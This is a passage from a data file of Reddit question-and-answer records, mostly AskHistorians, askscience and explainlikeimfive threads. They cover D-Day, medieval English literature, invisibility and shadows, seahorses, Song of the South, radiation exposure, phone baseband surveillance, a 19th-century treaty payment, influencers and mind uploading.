actual amount spent will show.\n\nLPT:\n-Always keep gas and restaurant receipts to compare amount spent to amount charged.  You'd be surprised how many times your $10 dollar tip was *accidentally* run as $18.  Trust me, it's happened to you.\n-A good way to see how well a restaurant is doing financially is to see how long it takes for items to post. If they're sitting in pending for days, book keeping needs to be addressed.  If book keeping is an issue, it's usually a sign of even more problems with the business model.  Of course, if the food is good this shouldn't stop you from going, I'm just giving you signs that your favorite spot isn't doing so well.\n\nSource: I do this for a living."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1yii3k", "title": "I am a German soldier stationed at Omaha Beach on the night of June 5th, 1944. What is my experience on the morning of D-Day?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1yii3k/i_am_a_german_soldier_stationed_at_omaha_beach_on/", "answers": {"a_id": ["cfky7q1", "cfkybaq", "cfl0iyw", "cfl2rch"], "score": [12, 246, 6, 2], "text": ["Why is everything deleted?", "_URL_2_\n_URL_1_\nIt depends on which regiment you're with in the 352nd.  If you were in the two on the beach, you're pretty much alarmed out of bed and pushed into slit trenches, pill boxes, and bunkers to fight; if you were in the reserve regiment, you are alarmed out of bed to go traipsing around the woods in search of paratroopers that aren't in your sector, so pretty much you're on a hike all morning with no combat.\n\nPretty much you'd see massive fighting until you were overrun and were either killed, wounded, or surrendered or retreated in the face of major enemy forces.  The division was wiped out by the 30th of July after nearly two months of bocage fighting after the invasion.  Pretty much you'd be position fighting for the whole of June 6/7th before pulling back:\n > The 916th Grenadier Regiment saw action during D-Day (Operation Overlord), opposing the US 1st and 29th divisions at Omaha Beach. The 352nd gave a good account of itself, causing many casualties and defending the bluffs above the beach for several hours before being overwhelmed. The 916th retreated in the morning hours of 7 June after the commander, Colonel Ernst Goth, could no longer hold the positions retaken in the night of 6/7 June.\n\nThere would be lots of shelling from offshore, small unit combat defending positions, and counter attacks at night to reclaim some positions on the night of the 6th/7th before a fighting retreat inland.  \n\nThis link has some interesting info about the invasion from both perspectives:\n_URL_2_\n\nDepending on what your job was, you'd either be in a hole behind the lines firing artillery, mortars, or rockets at the beach, otherwise you'd be in a bunker/pill box firing machine guns on the invaders or supporting the machine gun by fetching more ammo, loading it, or covering the flanks with rifle or smg fire.  As the Americans broke into the defensive positions, you'd be counter attacking to contain them, or sitting in a hole firing at the attackers trying to expand their foothold in your defenses.  It would be a chaotic mess with no one knowing what was going on and mixed up units trying to keep things together as more and more enemy troops were landed and penetrated your defenses, forcing you back and eliminated defensive positions keeping their forces at bay on the beaches.  You be trying to bail out water of a sinking ship as the holes got bigger and bigger in your boat (the defensive lines) until it just became too great and you'd have to fall back by that evening and you'd be in a constant retreat, fighting delaying actions as you and your surviving comrades pulled back into the bocage.\n\nInterview from vets from both sides:\n_URL_0_\n", "Since nobody else has mentioned it, I frequently hear about conscripted forces being used to man the defenses at Normandy. Is this true? What is the ratio of conscripted to german troops? ", "A little more than the OP ask for, but two books that I thought were good if you wanted to check out are: \nThe Second World War by John Keegan, and Crusade in Europe by Dwight D. Eisenhower. \n\nNot so much from the German perspective, but good reads about the entire history, military history and sentiments during the war. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=17jkQeus3uQ", "https://en.wikipedia.org/wiki/352nd_Infantry_Division_(Wehrmacht)", "https://en.wikipedia.org/wiki/Omaha_Beach"], [], []]}
{"q_id": "4s6dy6", "title": "Why is so little classic English literature and folklore set in Anglo-Saxon England?", "selftext": "Celtic Britain appears plenty of times (King Arthur, *King Lear*, Old King Cole, *Brut*, etc.), and there are classic works set during the Anglo-Saxon period, in neighboring countries (*Beowulf*, *MacBeth*, *Hamlet*)\u2014but Anglo-Saxon England itself seems to have dropped out of the national consciousness. One would expect that if nothing else, the repulsion of the invading Vikings by Alfred the Great would have given rise to an English epic.\n\nWas the subject actively suppressed by the Normans?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4s6dy6/why_is_so_little_classic_english_literature_and/", "answers": {"a_id": ["d56xsol"], "score": [5], "text": [" >  *Was the subject actively suppressed by the Normans?*  \n  \nThe notion of direct suppression of the \"Matter of England\" in the early medieval period is rendered very nearly a moot point first of all by the simple fact of the scant English literary production which was occurring during the two centuries following the Norman conquest.  There was little need to *directly* suppress English literary production focusing on the Matter of England.  The sociopolitical and scholarly predominance of French and Latin were a matter of fact and a function of prestige, which was in turn a function of broader political realities, in Anglo-Norman England and abroad.  And English literary production largely succumbed to that fact.  While the majority of the common people never learned French, the common people were not writing verse romance.  \n\nOne fact which may be considered as significant here to those who were, however, is the loss of attention and access to Anglo-Saxon historical works.  On that point, consider this explanatory passage from the (early 13th century) *Roman de Waldef* (in Susan Crane's translation from the Anglo-Norman French cited below):  \n  \n >  *When the Normans seized the land, the great histories that had been made by the English and recounted by them were left behind, on account of the peoples shifting and the languages changing.  Since then much has been translated, and greatly enjoyed by many, such as the Brut, such as the Tristan.*^1\n  \nAs to the matter of England beyond *Waldef*, we do get the 13th century [King Horn](_URL_0_), which is set in England to the extent that a chivalric romance with no pretense of historicity can be.  We get [Beves of Hamtoun](_URL_2_) around 1300.  Again, this is romance, and not historically grounded literature.  And we get [Athelston](_URL_1_), which may or may not draw to some lesser or greater extent on the reign of \u00c6thelstan, depending on whom you ask.  \n  \nBut historically grounded literary fiction simply was not a genre of the period.  The medieval romance did not regard itself as responsible to history or to the local political landscape.  And so tales like that of Arthur and King Horn and Beves of Hamtoun get traded back and forth across the channel quite readily, with Saracens as the general purpose antagonist of the era, and Christ as the common cause.  \n  \nThe Matter of England survived the Middle English period as well as anything else in English did (which is to say, not very well at all).  But we do have examples, to be sure.  \n  \n**Sources:**  \n\n1. Crane, Susan.  \"Social Aspects of Bilingualism in the Thirteenth Century.\" In Thirteenth Century England VI, ed. Michael Prestwich. Woodbridge: Boydell and Brewer, 1997. Pp. 103-115.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/King_Horn", "https://en.wikipedia.org/wiki/Athelston", "https://en.wikipedia.org/wiki/Beves_of_Hamtoun_\\(poem\\)"]]}
{"q_id": "1478u6", "title": "If you could render an object invisible using optical camouflage, would it still cast a shadow?", "selftext": "I was playing Metal Gear Solid 4 last night and was driving around the MKIII robot with the stealth engaged, when I noticed that the robot was still casting a shadow on the ground. This got me thinking, if you COULD make an object invisible, would it still cast a shadow? I mean, there is still an object there. Assuming the camo is dependent on displaying whats on the other side, not bending light, wouldn't there still be a space where the light isn't passing through the object itself?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1478u6/if_you_could_render_an_object_invisible_using/", "answers": {"a_id": ["c7agtpq", "c7ah1jw", "c7ahcwd", "c7ahhmk", "c7ai0bg", "c7aiaf0", "c7ak87j", "c7aq1ma"], "score": [26, 359, 328, 9, 2, 8, 5, 3], "text": ["I would have thought not as for the object itself to be \"invisible\" it would need to be transmitting the light from one side to the other anyway and thus preventing a shadow. \n\nThink about whether you would expect to see the Sun \"through\" the object. \n\nThe one part that I'm less sure on is the parts in contact with other non camouflaged objects. Particularly the ground... ", "In your description of how this particular invisibility works, something like a display mesh that identifies its surroundings and projects light as though it were passing through the object, it's entirely possible that the maximum amount of light the mesh is able to output wouldn't equal the light reaching us from the sun.  Such an object would have a shadow, though that shadow would likely be less dark than an object without the invisibility mesh (whatever amount of light the mesh was able to produce would lighten the shadow some).  There could even be multiple shadows if there were multiple light sources that exceed the mesh's light output (very bright spotlights, etc).", "It depends on how your optical camouflage works. If it's some fancy material that bends light around the wearer from all angles, then it would depend on the efficiency. With a high enough efficiency, it would not cast a significant shadow.\n\nIf, on the other hand, it's a series of cameras and a method of projecting the image from one side to the other, then it's quite possible that the sun (or a bright spotlight, or maybe even a strong flashlight) would be stronger than the lighting system of the suit could match. So then you would cast a shadow, and the suit also might be reflective enough that the light from the outside source would overcome the lighting on the forward side, basically completely breaking the camo.", "I know it's Wikipedia, but check out the diagrams on the right hand side of the article: _URL_0_\n\nA theoretical cloaking device would work by \"bending\" the light around a device; any light source wouldn't be replicated as others have mentioned, but preserved. If it was in contact with the ground, there might be a problem with it depending on how much surface area is actually in contact with the ground. If, for example, it rolled on four wheels, I'd expect there to be shadowy spots where there was no room to pull light from, i.e. from each of the four wheels. That, or a black spot of no light because no light could be bent around the object. Perhaps if the device was able to manipulate the bent light around the contact points (wheels), or at least around the most common viewpoints of the wheels, then it would be easy to completely cloak the device. \n\nRight now, there are functional devices that bend infrared light around an object, effectively cloaking it from devices that read heat signatures, but the complexity of the visible light spectrum will probably take many years to overcome. \n\nEdit: better article _URL_1_\n\nEssentially, cloaking technology hides an object between light waves, possibly without a shadow if the waves are manipulated around the shadow-casting body. ", "If you used metamaterials it wouldn't. These types of materials don't exist in nature but have been made to some extent in labs. They are a promising measure to beat forward scatter radar", "A camo based on 3D imaging and holographic projection of image data would not cast shadows if the projection system is sufficiently bright. \n\nA system based on normal cameras and traditional display technique would cast shadows as the direction of light is not maintained in the reproduction of images. It would also only work properly from a specific viewing angle. \n\nIf the camo on you MKIII robot works well from many viewing angles but casts shadows, it could perhaps be based on 3D imaging and multi-parallax barrier displays. ", "You can conceive of a shell made of [layered metamaterials](_URL_0_) and precisely chosen dielectrics with specific indices of refraction, such that light bends are the shell perfectly, instead of an active-camo type invisibility. In such a case there would be no shadow.\n", "The [Hawaiian Bobtail squid](_URL_0_) can hide it's own shadow.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Cloaking_device", "http://news.bbc.co.uk/2/hi/science/nature/6064620.stm"], [], [], ["http://www.physics.org/article-questions.asp?id=69"], ["http://news.nationalgeographic.com/news/2004/01/0108_040108_squidflashlight.html"]]}
{"q_id": "34ro17", "title": "If male seahorses are the ones that give birth, why don't we consider the male seahorse female? and the female seahorse male?", "selftext": "According to the dictionary females are defined as \"of or denoting the sex that can bear offspring or produce eggs\". By this definition, the sexes of seahorses should be switched. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34ro17/if_male_seahorses_are_the_ones_that_give_birth/", "answers": {"a_id": ["cqxfzwf", "cqxxryf"], "score": [95, 14], "text": ["They don't actually give birth to the young. Females lay their eggs in a pouch on the male. The male then incubates them and eventually when they hatch they emerge from his stomach pouch, almost like some sort of aquatic marsupial. ", "The biological definitions of male and female actually have to do with gamete size. Gametes are the sex cells - eggs and sperm in humans. \n\nIn some species (like ours) the two types of gametes are different sizes, a condition called [anisogamy](_URL_0_). Whichever sex produces the larger gamete is called the female, and the producer of the smaller gamete is called the male. This is why you have male and female trees, for example. \n\nOther species have gametes that are the same size, so we don't apply the terms male and female. Instead we call them something like \"mating types 1 and 2\", often abbreviated mt+ and mt-. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Anisogamy"]]}
{"q_id": "992w9o", "title": "How well did the Disney movie Song of the South go down with African Americans?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/992w9o/how_well_did_the_disney_movie_song_of_the_south/", "answers": {"a_id": ["e4khhen"], "score": [34], "text": ["From an [earlier answer](_URL_0_) of mine:\n\n*Song of the South* (1946), the movie so racist it has basically been disavowed by Disney, was also so racist that it inspired controversy even before *production*.\n\nI'm hoping none of us have specifically sought to see it recently, but for those of you who also have never read a plot synopsis: *Song of the South* consists of four animated, animal-populated \"short stories\" wrapped inside a live-action narration/plot. The stories are taken from the *Uncle Remus* books written by Joel Chandler Harris, who gathered them from African-Americans living around Atlanta after the Civil War. Often violent and scary, many of the folktales in the books are allegories for the horrors of slavery and white masters. The Disney adaptation, on the other hand, picks light-hearted stories, matches them with joyful and cute animation, and turns the frame story into a recreation of the antebellum Southern fantasy (mansion of the slave owners, black sharecroppers in shacks, the stock characters of Mammy, Pickaninny, and of course the \"good slave\" Uncle Remus)--complete with a Magical Negro twist to make the white boy's family all good again.\n\nThis alteration was readily apparent to critics of the time. Walter White, the executive director of the NAACP, rather diplomatically commented:\n\n >   Making use of the beautiful Uncle\n Remus folklore, *Song of the South unfortunately\n gives the impression of an idyllic master-slave\n relationship which is a distortion of the facts.*\n\nWhite wrote this after the film's release, but he had been one of the voices in protest when news of an Uncle Remus adaptation leaked out in 1944. According to Thomas Cripps, these early efforts framed themselves as helpful--and it wasn't a stretch, since (as Cripps documents) World War II had served/was serving as a major turning point for black representation in movies (and complaints from the NAACP and other groups when Hollywood was seen to fail). So White, Alain Locke (a former Rhodes Scholar), and Hollywood writers Caleb Peterson and Leon Hardwick reminded Disney to be good about representation or risk massive protests, to avoid \"lowering black morale\" for the war and for America. Disney even initially hired a script doctor to redo the film, and he had plans of mixing the Remus tales with stories drawn from the WPA ex-slave narratives (no, really!). Ultimately, the company reverted to original plans.\n\nThe controversy was not quelled upon release. Matthew Bernstein compiled an impressive array of excerpts from contemporary reviewers and commenters. On one hand, you had (white newspaper) *Atlanta Constitution* reporter Doris Lockman's commentary on the film's Atlanta premiere:\n\n >   [The crowd] ...saw the honest\n red dirt of Georgia, the weathered cabins that\n huddle on friendly mounds under tall pines, the\n dusty shabby old servitors of a kindlier day,\n focused richly amid the magic wrought from\n the homely philosophy of Joel Chandler Harris\n and moulded into reality in the facile fingers of\n Walt Disney and his crew... \n\n >  It was everybody's\n picture. Grandmother, seeing it, could remem-\n ber the golden days of yesterday. Her\n daughter, beside her, reached for snatches of\n tales long sleeping and the modern ones realized restively that much has gone from life\n that could ill be spare.\n\nIn contrast, *New York Times* columnist Bosley Crowther insisted it was *by no means* \"everybody's picture\":\n\n >  For no matter how much one\n argues that it's all childish fiction, anyhow, the\n master-and-slave relation is so lovingly regarded in your [Disney's] yarn, with the Negroes bowing\n and scraping and singing spirituals in the\n night, that one might almost imagine that you\n figure Abe Lincoln made a mistake. Put down\n that mint julep, Mr. Disney!\n\nAnn Tanneyhill of the National Urban League emphastically denounced the movie's \"black ,\nfat, greasy, sweaty, laughing, grinning, eyes rolling, white teeth showing\npredominantly, bowing, scraping hat in hand\" stereotype. NAACP leader Gloster Current rejected the joint stereotype-myths of the docile slave and that black people *liked* slavery.\n\nAnd some people suggested further action was necessary. NAACP director White, in response to actually seeing the film, proposed that the organization create a screening or censoring branch to preview. Mary McLeod Bethune called for production companies to include a wider variety of non-white characters in movies with the prescient idea that this might affect overall attitudes towards people of color (she says \"minority groups,\" so, not just black people).\n\nAnd so even while the harshest critics felt obligated to praise the movie's artistic achievements (probably a mixture of heartfelt and diplomatic, depending on critic), *Song of the South* was in all likelihood a massive economic failure even at the time. Certainly it has failed to provide Disney with the same financial and popular legacy as other wildly problematic movies (\"where they cut off your ears if they don't like your face,\" anyone?).\n\nCripps concludes, \"*Song of the South* clarified movie politics as had no\nother movie since *Gone with the Wind.*\" Protests over racial representation and racist stereotypes in movies are hardly an invention of the Internet age.\n\nFurther Reading:\n\n* Thomas Cripps, *Making Movies Black: The Hollywood Message Movie from World War II to the Civil Rights Era* (1993) - and if you're interested, *Slow Fade to Black* which covers 1900-1942\n* Matthew Bernstein, \"Nostalgia, Ambivalence, Irony: *Song of the South* and Race Relations in 1946 Atlanta,\" *Film History* 8, no. 2 (1996)\n* Daniel Stein, \"From Uncle Remus to *Song of the South*: Adapting Plantation Fictions,\" *The Southern Literary Journal* 47, no. 2 (2015)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8sxruu/are_the_old_disney_movies_portrayal_of_racial/e13e9rh/?utm_content=permalink&amp;utm_medium=front&amp;utm_source=reddit&amp;utm_name=AskHistorians"]]}
{"q_id": "19mr9d", "title": "Ramsar in Iran has the highest natural radiation level of an inhabited location. What have we learned about the medical effects of radiation from the unusually high chronic doses received by the local population?", "selftext": "[Wikipedia](_URL_0_) has a short section about it, but doesn't go much in debt. \n\nThe question is particularly poignant because the levels of exposure there is close to what the WHO has counted for the most heavily affected areas of Fukushima:\n_URL_1_ (page 41).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19mr9d/ramsar_in_iran_has_the_highest_natural_radiation/", "answers": {"a_id": ["c8pkgcs"], "score": [6], "text": ["You're interested in areas said to have high natural background radiation. The most commonly referenced HNBR areas are in Iran, India, Brazil and China. [This seems to be a definitive review on the topic](_URL_0_). \n\nMy take on it (and there are better radiation oncologist panelists for this question) is that it is really hard to make conclusive statements. Obviously, the big thing we are worried about here is cancer risk. The problem is, cancer statistics in these areas have not been well documented and the population of these areas are not always very large. This makes observing the excess cases that result really difficult. \n\nFor example, from the article\n\n >  to study the population having reached 10 years of age (or having received 60 mSv), lifetime surveillance of about 56 000 persons would be required to reliably observe about 45 excess cancer cases\n\nFrom the studies that have been collected and examined, it has not been demonstrated that living in HNBR areas confers any increase cancer or general mortality risks relative to the relevant reference populations (which are also really hard to sort out). BUT if we use what we know about dosage exposure, we might estimate a 1-3% increase in all cancer risk (also quoted in the review I linked).\n\nThat being said, increased lung dose from radon in these areas may be more firmly linked to lung cancer and you can find a smattering of studies linking life in HNBR areas to increased chromosomal abnormalities, though these things haven't been rigorously linked to cancer in this case. \n\nI'll leave the Fukushima commentary to a radiation person. \n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Ramsar,_Mazandaran#Radioactivity", "http://www.who.int/ionizing_radiation/pub_meet/fukushima_dose_assessment/en/index.html"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/19454802"]]}
{"q_id": "yk5l6", "title": "Why did Romans wear iron rings?", "selftext": "I saw in a text that Hannibal sent hundreds of iron rings to Carthage.  The rings were taken off the bodies of dead Romans at Cannae.  Why did Romans wear iron rings?  Are there archaeological examples of iron rings from the time of the Republic?  Did they wear other rings made from other types of metal?  How long were these iron rings \"in fashion\"?  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/yk5l6/why_did_romans_wear_iron_rings/", "answers": {"a_id": ["c5wducm", "c5wkbye", "c5wop7s"], "score": [33, 3, 2], "text": ["It was a popular custom in the Roman Republic for freeborn people to wear an iron ring as a symbol of their status. Their main purpose was to serve as a seal. By the time of the late Republic, the iron rings had fallen out of favor, and only particularly old-fashioned statesmen wore them to emphasize their traditional values.\n\nRoman *equites* traditionally wore a gold ring as a sign of their status, although senators could wear them as well; I could have sworn I've heard the story you mentioned, but with gold rings mentioned instead. Ambassadors could wear them as well. Over time, the right to wear golden rings was extended to more and more of the population, probably because they were already wearing them.\n\nFor a good overview, check out this page from the *Dictionary of Greek and Roman Antiquities*, which is old but probably mostly in the right: [rings in the ancient world] (_URL_0_)", "After the battle of Cannae Hannibal supposedly collected 200 gold rings and sent them off to the Senate in Carthage. The gold rings are as braisedbywolves said a sign of the upper class particularly the Equites. I scanned Polybius and didn't see the story about the rings in the battle of Cannae  so I'm not sure where the original story came from but there is a famous statue of Hannibal counting them in the Louve that goes back to the 1700s.", "I have read in a book about the Pennsylvania Germans, the Amish in particular that the Amish believed wearing rings could have health benefits. Could be the Romans believed something similar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/SMIGRA*/Annulus.html"], [], []]}
{"q_id": "3npddy", "title": "how does the 'smurf suite' from gchq works?", "selftext": "Like,  the part where they said it could tap on the phones mic even when it's off?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3npddy/eli5_how_does_the_smurf_suite_from_gchq_works/", "answers": {"a_id": ["cvq28g6", "cvqfl54"], "score": [3, 14], "text": ["The goverment forces companies to build \"backdoors\" into their programs. If it is connected to the internet, gps, radio towers they can control it. Same way a hacker might take over your computer with a virus, the virus is built into our phones and computers from the manufacturer. The phone being off and turned back on is apparently not confirmed yet, computers have a function where you can turn it on from your phone, but it still needs to be connected. It all depends if the phone is really off with no power at all, or the phone is off with some power going to it to keep the gps/RF receiver on. ", "Essentially there are two computers inside your phone. There is the [baseband computer](_URL_0_) which controls the radio, and there is the fancy smartphone computer which you use for your apps.\n\nNow the one which controls the radio is only allowed by law to run an approved and certified codebase. This is to make sure it complies with GSM standards and won't screw up the phone network.\n\nThe side effect of this is that there are only two suppliers of this software, and both lack the error checking required to be secure. They are certified that they follow the specs for the network, but if you send the malformed GSM messages, they can be exploited through buffer overflows.\n\nOnce they are compromised, they can be controlled remotely, and so can be prevented from turning off. Now you can turn off your fancy iphone computer, but the second radio computer which is exploited will remain on. Since it has to have access to the mic for phone calls, it can then just make phone calls and let people listen in on your phone even when it's \"off\".\n\nRemoving the battery is the only way to be sure it's actually off, but a lot of phones now won't let you remove the battery easily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Baseband_processor"]]}
{"q_id": "51k9tp", "title": "In the Treaty of Guadalupe Hidalgo, the US promised to pay Mexico $15 million. Was this paid, and how do we know?", "selftext": "My husband and I were reading about the Treaty of Guadalupe Hidalgo since it was in the news recently.  He is from Mexico and learned about it at University, but he remembers being taught that the Treaty is considered invalid by the Mexican government because the US never paid the sum of $15 million.  The (English) wikipedia article on the treaty implies that the money was paid, but gives no source.  Is there confirmation that the treaty was honoured?  ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/51k9tp/in_the_treaty_of_guadalupe_hidalgo_the_us/", "answers": {"a_id": ["d7crsr9"], "score": [18], "text": ["When the war began, Mexico had suffered years of instability. The national debt was ballooning, and heavy taxes and tariffs failed even to meet interest payments. Debts owed to foreign citizens were over $55 million (in 1846 dollars), and government debt to Mexican citizens was close to another $100 million. \n\nVirtually all debt payment ceased during the war. When it ended in 1848, therefore, Mexico was in the grip of an extremely dire debt crisis. Foreign nations were threatening their own interventions against the prostrate nation, and its own bankers and moneylenders were agitating for a quick settlement. After fighting almost to the last possible moment, the Mexican government capitulated and accepted the indemnity for a vast cession. \n\nAlong with the $15 million indemnity, the U.S. government agreed to assume $3.25 million of debt owed by Mexico's government to American bondholders. (Most of this money went to wealthy speculators, who had snapped up these bonds at a fraction of their face value during Mexico's prewar debt crisis.) In actuality, the U.S. government approved just over $5 million in claims. \n\nThe payment of the indemnity to Mexico was made in five annual installments, paid in gold, along with 6% interest, after a first installment issued immediately after ratification. A third of this first installment was paid in hard currency, and in U.S. Army surplus weaponry handed over to the Mexican government. The other two-thirds were paid in checks against the U.S. Treasury. The remainder of the installments were paid on time, and with interest they totaled $16.4 million.\n\nsource: [U.S. Dept of the Interior, 1926](_URL_0_) - Cost of Territory Purchased by the United States, p 250\n\nSo the money did go to Mexico's government - but it didn't stay long. Most of it was spent on immediate needs, and much of the rest went to paying the government's most powerful bondholders. Ewen MacKintosh, the British consul in Mexico, had made a fortune as a broker of debt. He served as an important go-between during peace negotiations, and made sure that his interests were well-served. $600,000 of the first $3 million went directly to pay off his bonds at face value. Most of this, MacKintosh gambled on further investments which didn't pay off in the postwar turmoil - he declared bankruptcy in 1850 and died a decade later in humble circumstances. \n\nThe remaining installments were transferred through large banks (Baring Brothers, Corcoran  &  Riggs, N.M. Rothschild  &  Sons, Howland  &  Aspinwall, Lionel Davidson), who also took cuts to pay off the bonds they and their most important clients held. $3 million was thus shaved off before a single cent reached Mexico. And as I noted, the money that did reach Mexico City vanished to service debt. Just enough remained to keep the army fed while it put down a secessionist movement in the Yucatan and tried to push back against the Comanche and other Native American nations in the north. \n\nSo, while the money was paid, and much of it was at least legally held by Mexico for a time, virtually none of it could be put to productive use. Mexico went through 16 finance ministers in the next decade, partly due to continued political crisis but mostly because the job of sorting out Mexico's economy had become inhumanly difficult. It was this debt crisis that led directly to the 1861 intervention by the European powers and subsequent conquest of the nation by France - which was made possible in large part by conservative Mexicans who held government debt and hoped a monarchy propped up by a great power would pay it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=LXoeAQAAIAAJ&amp;pg=PA250&amp;dq=guadalupe+hidalgo+payment+installment&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiyg-uWrv3OAhWB5yYKHVTQBrYQ6AEIKDAC#v=onepage&amp;q=guadalupe%20hidalgo%20payment%20installment&amp;f=false"]]}
{"q_id": "9sx7j8", "title": "what exactly is an \"influencer\", and what do they do?", "selftext": "Inspired by this disturbing little [New York Times article](_URL_0_) about a loft specifically designed for the audiences of Instagram influencers :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sx7j8/eli5_what_exactly_is_an_influencer_and_what_do/", "answers": {"a_id": ["e8s36k1", "e8s3p3r", "e8s42t3", "e8s7ed7", "e8se58c", "e8seoyt"], "score": [52, 6, 24, 3, 3, 4], "text": ["Someone who has a social media account with a large number of followers, and uses it to influence these followers more or less subtly to buy things, and who is paid money from companies that make those things.\n\nMost commonly they are young women who on Instagram show off a cool, fashionable (and eventually completely fake) lifestyle involving lots of expensive brand clothes, accessories, and cosmetics.", "\"Influencers\" are usually women who travel and expect free shit because they show off the product online to their followers, who may or may not buy the product.\n\nI manage a hip, boutique hotel and I get requests all the time from \"Influencers\" who want a comp room in return for photos, reviews, etc. \n\nI delete those emails immediately because I'm running a business, not a shelter. \n\nThis will also be auto-deleted.", "Here\u2019s what I\u2019m learning from a social media marketing class I\u2019m currently taking...\n\nA social media influencer is someone who simply has a ton of followers on the platforms that they operate on.  Whatever the post, or tweet, or whatever, thousands or millions of eyes will see it.\n\nNow, if you consider advertising, having a lot of eyes on a particular influencer\u2019s feed makes it particularly valuable.  Companies will pay good money to have an influencer mention their products.  Here\u2019s a real example:  say there\u2019s a movie coming out.  A social media marketer who has been hired by one of the lead actors will go to a website where the marketer can hook up with folks with tons of twitter followers.  The marketer will offer something in the range of say $150 or $300 to tweet something positive about the upcoming movie or the actor exactly two times, each time at a specific day and hour (when you post is critically important to how many impressions, or eyes on the tweet, you get).  It\u2019s not bad money for literally seconds of work.  As the marketer hires many influencers to do just that, you end up with a purchased \u201ctrending on Twitter\u201d moment for the actor or movie.\n\nA real life example you can explore is the disastrous Fyre Festival.  It was revealed that certain Instagram influencers (that Emily woman who was in Robin Thicke\u2019s video comes to mind) were hired to post about being excited to attend Fyre without having plans to actually go.  I believe that started conversation about better indicating that posts are promoted.\n\nMy teacher tells me that influencer marketing is really big on Instagram and became fashionable again on Twitter thanks to Trump.  She knows nothing of Reddit, but I can see some of this kind of marketing happening on r/All.  Remember when some movie with Tom Hanks playing Mr. Rogers hit the front page?  I saw four related posts with big karma totals in the space of 48 hours.  That, my friend, had to have been a campaign of some sort.\n\nThe downside of knowing this is realizing that a huge part of the popular internet is quite fake.  Good luck with this new knowledge.", "An influencer is essentially just a famous person, doesn't matter how, that can communicate with his or her following, and by doing so, influence them.\n\nSo if someone with 200000 followers on instragram messages to her follower that product X is really cool, then the followers will now be aware that the product exists, and some might take the recommendation seriously enough to purchase. Essentially acting as a commercial. \n\nTechnically anyone famous can influence, the Potus influences all the time. but generally with a influencer, people mean someone that tries to make a career out of it. ", "This is an interesting read. An influencer is anyone with a social media account that can \u201cinfluence\u201d their audience to buy something.\n\nI have a blog with social media accounts. I wouldn\u2019t call myself an influence but I have been approached by companies for a shout outs/reviews in exchange for a free products. This marketing tactic is very popular on Instagram. I personally have turned down most of the companies who approach me because it doesn\u2019t align with my brand but I know of many people who will take whatever deal. \n\nOnce you are aware of the marketing strategies that happen online you really start to realize how fake everything is. It\u2019s a little depressing...", "Step 1: Become knowledgeable about a topic.\n\nStep 2: Help a lot of people by making recommendations, build a good reputation as a reliable source.\n\nStep 3: Take money (or free product if you are low rent) from people selling stuff to pretend you actually just happened to like it, trading in the trust you built up in step 2 for cold hard cash. Deny deny deny claiming that money has no influence on your recommendations to milk it as long as possible. Put \"sponsored\" in the fine print to make it all legal.\n\nSadly, the VAST majority of \"expert\" product and service reviews of ALL kinds are a result of this model, which is why amateur reviews (Amazon, Yelp, Google) are so useful."]}, "title_urls": [], "selftext_urls": ["https://www.nytimes.com/2018/09/30/business/media/instagram-influencers-penthouse.html"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "fgp4o", "title": "How close are we to Digital Immortality? What research is being done on this front?", "selftext": "I was reading some articles; first on our radio bubble, then on our attempts to contact life, then on artificial intelligence, then on mind upload... (the old Wikipedia link trail) and I couldn't help but fantasize about a future in my lifetime where anyone with enough money can have their mind digitized and preserved.  \n\nIs this at all feasible in the near future?  How would such a process exist? That is, would we be able to interact with our digital mind? Would it be able to control our body given the proper control systems?  Given advances in tissue regeneration and lab-grown organs, could we possibly live forever with a digital mind?  \n\nI know a lot of this seems like science fiction, but is it really?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fgp4o/how_close_are_we_to_digital_immortality_what/", "answers": {"a_id": ["c1ft6xy", "c1ftce2", "c1ftkbo", "c1ftm33", "c1fu2fe", "c1fuc4h"], "score": [2, 11, 2, 2, 4, 2], "text": ["Would you really be you? Or would you be a copy of you who remembers being you but isnt really you? Also if you are loaded up why not just link your mind with other minds? Now who are you?\r\nCould we put ourselves into other bodies? Manufacture other more specialized bodies? I hope I'll be around to find out too. ", "I think right now it's completely science fiction. Despite popular comparisons, our brains do not work like computers, and our brains are not digital. Right now we understand relatively little about how our brain creates the mind, and thinking about how you would encode a mind into digital logic seems pretty far off. I personally believe, but this is not a scientific claim, that we won't ever be able to fully digitize simply because you really cannot draw a line between your body and your mind.", "\"We\" couldn't live forever, but maybe our digital clones could.  Even if the technology existed, and you could upload your consciousness into a digital form, you would still be stuck as the meatbag version of yourself.  Then what?  It just doesn't seem like a particularly appealing thing to be able to do really.", "Interesting thought, my personal guess is not in the near future. We still have a hard time understanding smaller 